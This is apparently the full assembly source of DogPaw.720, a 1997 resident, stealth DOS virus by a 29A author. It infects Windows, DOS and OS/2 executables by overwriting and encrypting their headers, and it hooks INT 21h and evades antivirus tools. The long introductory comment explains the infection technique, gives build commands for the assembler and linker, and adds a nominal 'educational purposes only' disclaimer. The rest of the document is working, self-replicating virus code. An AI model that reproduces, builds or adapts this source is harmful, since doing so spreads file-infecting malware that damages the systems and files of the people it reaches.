;
;                                                ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
;          DogPaw.720                            ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
;          by Jacky Qwerty/29A                    ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
;                                                ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
;                                                ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; This simple DOS virus exploits a certain feature graciosly implemented for
; us by Microsoft and which is present in Win95, WinNT and probably OS/2. It
; has to  do with non-DOS aplicationz run from  DOS boxez opened under these
; 32-bit systemz. It doesnt aply to Win3.1, tho.
;
; In Win3.1, whenever u try to execute  a Win3.1 aplication  from a DOS box,
; the  comon frustratin  mesage "This program  cannot be run in DOS mode" or
; "This program requires Microsoft Windows"  apeared.  The guyz at Microsoft
; always lookin for  enhancementz finaly made it right with NT and Win95 and
; wisely put an end to this nuisance. Under these 32-bit systemz, whenever u
; execute a non-DOS aplication  from a  DOS box, the system loader no longer
; executes the DOS stub program which displays such mesage, it actually ends
; up  executin the real Win3.1 or  Win32 aplication just as if u had double-
; clicked  the program on yer desktop to execute it. But what has this thing
; got to do with us? Can this feature be used in a virus? the answer is yes.
;
; I wrote this virus just to ilustrate how the above feature can be cleverly
; used in a virus.  For this reason,  DogPaw lacks all kindz of poly, retro,
; antidebug, etc. but it implements  full stealth tho,  and encrypts data of
; the original host, just to anoy AVerz a bit #8P. I'd like to thank "Casio"
; from undernet #virus as he seems to be the first one havin exploited this.
;
;
; Technical description
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; DogPaw is a resident full stealth EXE infector of DOS, Win3.1, Win95, Win-
: NT and OS/2 programz. It infects filez on close and execute and disinfects
; them on open. I dont like this kind of stealth at all but it was more than
; necesary in order to exploit the forementioned feature.
;
; When DogPaw infects a file, it encrypts  the first  720 bytez of the host,
; includin its MZ header and stores it at the end of the file, then it over-
; writes the first 720 bytez of  the host with  the virus code itself, which
; is really DOS program code. This way what the virus really does is conver-
; tin Win3.1, Win95, WinNT  and OS/2 programz into  simple DOS programz con-
; tainin virus code.  This doesnt mean that such filez are trojanized or da-
; maged, they are fully functional after infection, read on.
;
; When a DogPaw-infected file is executed, the system treats it as a genuine
; DOS aplication. This is becoz the  virus overwrites the  pointer at 3Ch in
; the MZ  header which pointed to  the real NewEXE header (NE, PE, LX, etc).
; This way  the virus executes as a DOS 16-bit program and plants a resident
; copy in DOS memory. After this the virus has to execute the original apli-
; cation, be it a Win3.1, Win32 or an OS/2 program. For this purpose, it di-
; sinfects the host  by decryptin the original  data at the end  of file and
; writes it back  to the begin of file previosly overwriten with virus code.
; Next the virus executes the original host and, becoz of the above feature,
; the system finally executes  the original Win3.1, Win32 or OS/2 aplication
; just as if it had been executed from outside a DOS box.
;
; The disadvantagez of this method are plain to see. Microsoft obviosly dont
; want people to write clumsy DOS programz, tho it is still suportin old DOS
; aplicationz from inside its 32-bit systemz. This, acordin to Microsoft, is
; needed in order to make the migration from DOS to Win32 less painfully and
; troublesome. But once this DOS compatibility disapears from these systemz,
; those nonDOS programz infected by this virus wont be able to run or spread
; further from inside these 32-bit OS's. As u can see its not wise at all to
; still depend on obsolete goofie DOS in order to infect 32-bit aplicationz.
; For this purpose we must interact directly with the 32-bit file format, ie
; the PE format itself. There is no way to circumvent this in the future ;)
;
;
; A dog paw tale
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Some weekz ago i stole my dady's car to take a short ride around the block
; and  i was so nervous  that i almost crashed twice:  the first time with a
; huge big garbage truck  (yea even  tho i wear glasez)  and the second time
; with a little grandma crossin down the street.  Shit.. that was enough for
; the day, i didnt  want to kill anybody nor get killed at worst, so i deci-
; ded to go back home.  I turned on the radio and started to sing "the side-
; winder sleeps tonight" by R.E.M.  Yea i was havin a great time  even tho i
; had been about to crash twice.  Why did i have to open my mouth! Just when
; i was about to turn right at the next block i heard a suden "crash" follo-
; wed by two "squeeze.." "squeeze.." feelin two "up-and-down's" on the right
; tirez.  Shit what da hell was that..?  i looked back thru the front mirror
; just to know the answer. On the road i had left behind,  there lied a poor
; crushed dog.  Ohh shit i crushed a dog!  Now from  time to time  when that
; scene comes to my mind,  all i see is that unfortunate  squeezed dog wavin
; goodbye with his paw.. the poor dog paw. #8I
;
;
; Greetingz
; ÄÄÄÄÄÄÄÄÄ
; And finaly the greetingz go to:
;
;   Casio ......... Yer Rusty was kewl.. but throw 'way that ASIC dude!
;   Tcp/29A ....... Wooow! yer disasembliez rock man.. really rock!
;   Spanska ....... Dont get drunk too often ;) greetingz to Elvira..
;   Reptile/29A ... Not even a garden full of ganja can stop ya heh #8S
;   Rilo .......... Confess budie: Rilo Drunkie + Belch = Car crash ;)
;   Liquiz ........ Still watin to see that poly of yourz.. #8)
;
;
; Disclaimer
; ÄÄÄÄÄÄÄÄÄÄ
; This source code is for  educational purposez only. The author is not res-
; ponsible for any problemz caused due to the assembly of this file.
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm -ml -m5 -q -zn dogpaw.asm
; tlink -t -x dogpaw, dogpaw.exe
;
;
; (c) 1997 Jacky Qwerty/29A.


.model  tiny
.286

include useful.inc
include MZ.inc

v_mark          equ     'GD'                         ;virus mark
v_size_bytes    equ     v_end - v_start              ;virus size in bytez
b_size_bytes    equ     v_size_bytes                 ;bufer size in bytez
s_size_bytes    equ     100h                         ;stack size in bytez
v_size_words    equ     (v_size_bytes + 1) / 2       ;virus size in wordz
v_size_paras    equ     (v_size_bytes + 15) / 16     ;virus size in paragraphz
v_size_sects    equ     (v_size_bytes + 511) / 512   ;virus size in sectorz
v_size_kilos    equ     (v_size_bytes + 1023) / 1024 ;virus size in kilobytez
v_size_div_512  equ     v_size_bytes / 512           ;virus size div 512
v_size_mod_512  equ     v_size_bytes    \            ;virus size mod 512
                        - (512 * v_size_div_512)     ;
m_size_bytes    equ     v_size_bytes + (b_start \    ;memory size in bytez
                        - v_end) + b_size_bytes \    ;
                        + s_size_bytes               ;
m_size_words    equ     (m_size_bytes + 1) / 2       ;memory size in wordz
m_size_paras    equ     (m_size_bytes + 15) / 16     ;memory size in paragraphz

.code
                org     100h
v_start:

MZ_Header       IMAGE_DOS_HEADER  <                     \ ;MZ header start
                        IMAGE_DOS_SIGNATURE,            \ ;MZ_magic
                        v_size_mod_512,                 \ ;MZ_cblp
                        v_size_sects,                   \ ;MZ_cp
                        0,                              \ ;MZ_crlc
                        0,                              \ ;NZ_cparhdr
                        m_size_paras,                   \ ;MZ_minalloc
                        m_size_paras,                   \ ;MZ_maxalloc
                        -11h,                           \ ;MZ_ss
                        (m_size_bytes + 111h) and -2    \ ;MZ_sp
                        v_mark,                         \ ;MZ_csum
                        entry_point,                    \ ;MZ_ip
                        -10h                            \ ;MZ_cs
                >

                org     (v_start + MZ_lfarlc)

old_MZ_low_ptr  dw      0
old_MZ_high_ptr dw      0

c_start:

Copyright       db      'D' xor 66h
                db      'o' xor 66h
                db      'g' xor 66h
                db      'P' xor 66h
                db      'a' xor 66h
                db      'w' xor 66h
                db      ' ' xor 66h
                db      'J' xor 66h
                db      'x' xor 66h
                db      'Q' xor 66h
                db      '/' xor 66h
                db      '2' xor 66h
                db      '9' xor 66h
                db      'A' xor 66h
                db       0  xor 66h

common_clean_ds:

                push    cs
                pop     ds
                mov     ds:[flag],al

common_clean:   test    al,?            ;clear carry (clean file)
                org     $ - 1

common_infect:  stc                     ;set carry (infect file)

                pusha
                mov     bp,offset clean + 1
                jnc     common
                mov     si,dx
                mov     bp,offset infect + 1
                cld
                @endsz
                std
                lodsw
                lodsw
                cld
                and     al,not 20h
                add     al,-'E'         ;check for EXE extension
                jnz     to_popa_ret
                lodsw
                and     ax,not 2020h
                add     ax,-'XE'
                jnz     to_popa_ret

common:         ;this function cleans or infects a file
                ;on exit:
                ;  flag = 0, if error

                mov     ax,3D00h
                call    call_int_21     ;open file in read/only mode
                jc      to_popa_ret
                xchg    bx,ax
                push    ds dx
                call    ptr2begin       ;move file pointer to begin of file
                jc      end_close
                push    cs
                pop     ds
                call    read            ;read first 720 bytez
                jc      end_close
                cmp     word ptr [si.MZ_csum],v_mark    ;check infection
                jnz     end_close_clc
                mov     ax,[si.MZ_magic]
                cmp     word ptr [si.MZ_maxalloc],m_size_paras
                jnz     end_close_clc
                add     ax,-IMAGE_DOS_SIGNATURE         ;check MZ signature
 end_close_clc: clc
     end_close: pushf
                mov     ah,3Eh
                call    call_int_21     ;close file
                pop     ax
                dec     bp
                lahf
                pop     dx
                or      al,ah
                shl     ah,4
                pop     ds
                xor     ah,al
                sahf
                jbe     end_popa_ret    ;if (carry or zero)

                mov     ax,4300h        ;save old file atributes
                call    call_int_21
   to_popa_ret: jc      end_popa_ret

                push    ds
                mov     si,4*24h-80h
                call    get_int
                pop     ds
                pusha                   ;ax, bx, si
                mov     bx,cs
                mov     ax,offset new_24
                call    set_int

                push    cx
                mov     cl,20h          ;set read/write file atributes
                mov     ax,4301h         
                call    call_int_21
                pop     cx
                jc      end_2popa_ret

                mov     ax,3D02h        ;open file in read/write mode
                call    call_int_21
                jc      restore_atrib

                pusha                   ;cx, dx
                xchg    bx,ax
                mov     ax,5700h        ;get data & time
                call    call_int_21
                jc      close_file

                push    ds es
                pusha

                push    cs cs
                pop     ds es
                mov     si,offset b_start
                lea     di,[si + old_MZ_low_ptr - v_start]
                call    bp              ;clean or infect
                jc      err_file
                mov     ds:[flag],al    ;al!=0 (check this while debugin)

      err_file: popa
                pop     es ds

                mov     ax,5701h        ;set data & time
                call    call_int_21
                
    close_file: mov     ah,3Eh          ;close file
                call    call_int_21
                popa

 restore_atrib: mov     ax,4301h        ;restore old atributes
                call    call_int_21

 end_2popa_ret: popa
                call    set_int

  end_popa_ret: popa
       end_ret: ret

infect          proc    ;infects a file

                mov     cx,b_size_bytes

                cld                     ;encrypt old MZ header
       encrypt: lodsb
                ror     al,cl
                xor     al,0C5h
                mov     [si-1],al
                loop    encrypt

                mov     ax,4202h        ;move file pointer to end of file
                cwd
                call    call_int_21
                jc      end_ret

                pusha
                call    write           ;write old MZ header to end of file
                jc      end_popa_ret

                lodsw                   ;move virus code to buffer area
                xchg    dx,di
                mov     si,offset v_start
                mov     ds:[old_MZ_Magic],ax
                cld
    move_virus: lodsb
                stosb
                loop    move_virus
                popa

                stosw                   ;hardcode file location in virus code
                xchg    ax,dx           ;
                stosw                   ;

                jmp     ptr2new         ;move file pointer to actual MZ header

infect          endp

get_int:        ;gets an interrupt vector
                ;on entry:
                ;  SI = int number * 4
                ;  DS = 0
                ;on exit:
                ;  DX:AX = int vector adress retrieved

                push    8
                pop     ds
                mov     bx,[si+2]
                mov     ax,[si]
                ret

clean           proc    ;cleans an infected file

                mov     cx,[di + 2]     ;old_MZ_high_ptr
                mov     dx,[di]         ;old_MZ_low_ptr
                pusha
                call    ptr2old         ;move file pointer to old MZ header
                jc      end_popa_ret

                call    read            ;read old MZ header
                jc      end_popa_ret

                cmp     word ptr [si.MZ_magic],1234h ;check old MZ header
   old_MZ_Magic =       word ptr $-2
                stc
                jnz     end_popa_ret

                cld                     ;decrypt old MZ header
       decrypt: lodsb
                xor     al,0C5h
                rol     al,cl
                mov     [si-1],al
                loop    decrypt

                popa
                call    ptr2old         ;move file pointer to old MZ header
                jc      ptr2new

                sub     cx,cx
                mov     ah,40h          ;remove old MZ header from end of file
                call    call_int_21

       ptr2new: call    ptr2begin       ;move file pointer to actual MZ header
                jc      end_clean

write:          mov     ah,40h          ;write MZ header
                cmp     ax,?
                org     $-2

read:           mov     ah,3Fh          ;read MZ header
                mov     dx,offset b_start
                mov     cx,b_size_bytes
                call    call_int_21
                jc      end_rd_wr
                cmp     ax,cx
                mov     si,dx
     end_rd_wr:

     end_clean: ret
     
clean           endp

entry_point:    mov     ax,30AFh
                x =     4*21h-80h
                push    x
                mov     di,offset old_int_21    ;check if already installed
                int     21h
                cld
                pop     si
                add     al,-0AFh
                mov     bp,si
                jz      already                 ;yea we're instaled, jump

                push    ds                      ;hook int 21h & stay resident
                call    get_int
                mov     [1+bp-x+si-x],ds
                stosw
                pop     ax
                xchg    ax,bx
                stosw
                mov     ax,offset new_int_21
                call    set_int

       already: push    di
                mov     ds,[2Ch+10h+bp-x]       ;get program filename
      get_prog: inc     si
                cmp     [si],bp
                jnc     get_prog
                lea     si,[si+4+bp-x]
                pop     dx
                @copysz

                call    common_clean_ds         ;clean infected program

exec:           cmp     al,ds:[flag]            ;prevent circular execution
                jz      exit
                push    ds
                mov     bx,offset p_block       ;execute program
                mov     ah,0Dh
                call    call_int_21
                mov     [bx+4],ds
                mov     [bx+8],cs
                pusha
                mov     [bx+0Ch],es
                mov     ax,4B00h
                call    call_int_21
                popa
                mov     ah,4Dh
                call    call_int_21
                pop     ds

                call    common_infect

exit:           mov     ah,4Ch          ;exit to DOS
                jmp     call_int_21

p_block         dw      0               ;parameter block to be used by 4B00h
                dw      80h
                dw      ?
                dw      5Ch
                dw      ?
                dw      6Ch
                dw      ?

new_24:         mov     al,3
                iret

ptr2begin:      xor     dx,dx           ;move file pointer to actual MZ header
                mov     cx,dx
ptr2old:        mov     ax,4200h
call_int_21:    pushf                   ;call old INT 21h
                push    cs
                call    jmp_int_21
                ret

set_int:        ;sets an interrupt vector
                ;on entry:
                ;  SI = int number * 4
                ;  DS = 0
                ;  DX:AX = int vector adress to store

                push    ds
                push    8
                pop     ds
                mov     [si+2],bx
                mov     [si],ax
                pop     ds
                ret

infect_on_close:                        ;infect on file close
                push    ds es
                pusha
                mov     bp,sp
                push    cs bx
                mov     ax,1220h
                int     2Fh             ;use file system tablez
                jc      fail_dcb
                mov     bl,es:[di]
                cmp     bl,-1
                cmc
                jc      fail_dcb
                mov     ax,1216h
                int     2Fh
      fail_dcb: pop     bx ds
                pushf
                mov     ah,3Eh
                call    call_int_21             ;close file
                mov     [bp.Pusha_ax],ax
                pop     ax
                jc      fail_close
                shr     al,1
                jc      fail_close_clc
                mov     ax,':'*100h + mask BDA_DriveNumber
                and     al,byte ptr es:[di.DCB_DeviceAtribs]
                mov     dl,al
                sub     al,-'A'
                mov     si,offset program_name + 3
                mov     [si-3],ax
                inc     dx
                mov     ah,47h
                call    call_int_21             ;get current directory
                jc      fail_close_clc
                cld
                dec     si              
                push    es si ds
                lea     si,[di.DCB_FileName]
                mov     al,'\'
                pop     es di
                stosb
                add     al,-'\' ; al=0
                scasb
                jnz     $ - 1
                sub     al,-'\' ; al='\'
                dec     di
                mov     cx,size DCB_FileName + 1
                cmp     al,[di-1]
                pop     ds
                push    si
                jz      $+3
     copy_name: stosb                   ;atach file name to path
                lodsb
                cmp     al,20h
                loopnz  copy_name
                pop     si
                mov     al,'.'
                mov     cl,size DCB_FileExt + 1
                sub     si,- size DCB_FileName
      copy_ext: stosb                   ;atach file extension to file name
                lodsb
                cmp     al,20h
                loopnz  copy_ext
                xor     al,al
                stosb
                push    cs
                pop     ds
                mov     dx,offset program_name
                call    common_infect   ;infect the file
fail_close_clc: clc
    fail_close: popa
                pop     es ds
                retf    2

      on_close: jmp     infect_on_close

self_check:     cmp     di,offset old_int_21
                jnz     jmp_int_21
                mov     si,di
                cld
                movs    word ptr es:[di],cs:[si]        ;copy old int 21h
                movs    word ptr es:[di],cs:[si]        ;
go_iret:        iret

new_int_21:     cli                     ;new INT 21h service routine
                push    ax              ;antitrace.. dont fuck with me
                push    -1
                inc     sp
                dec     sp
                pop     ax
                inc     ax
                pop     ax
                sti
                jnz     go_iret
        chk_3E: cmp     ah,3Eh          ;close?
                jz      on_close
        chk_30: cmp     ax,30AFh        ;are we already installed?
                jz      self_check
        chk_4B: cmp     ah,4Bh          ;execute?
                jnz     chk_3D
                call    common_infect
        chk_3D: cmp     ah,3Dh          ;open?
                jnz     jmp_int_21
                call    common_clean

jmp_int_21:     db      0EAh            ;JMP SEG:OFF opcode
v_end:                                  ;virus end on filez
old_int_21      dd      ?               ;old INT 21h vector

program_name    db      80h dup (?)     ;buffer to hold program namez
flag            db      ?               ;used to prevent circular execution
b_start:                                ;start of internal buffer
                end     v_start
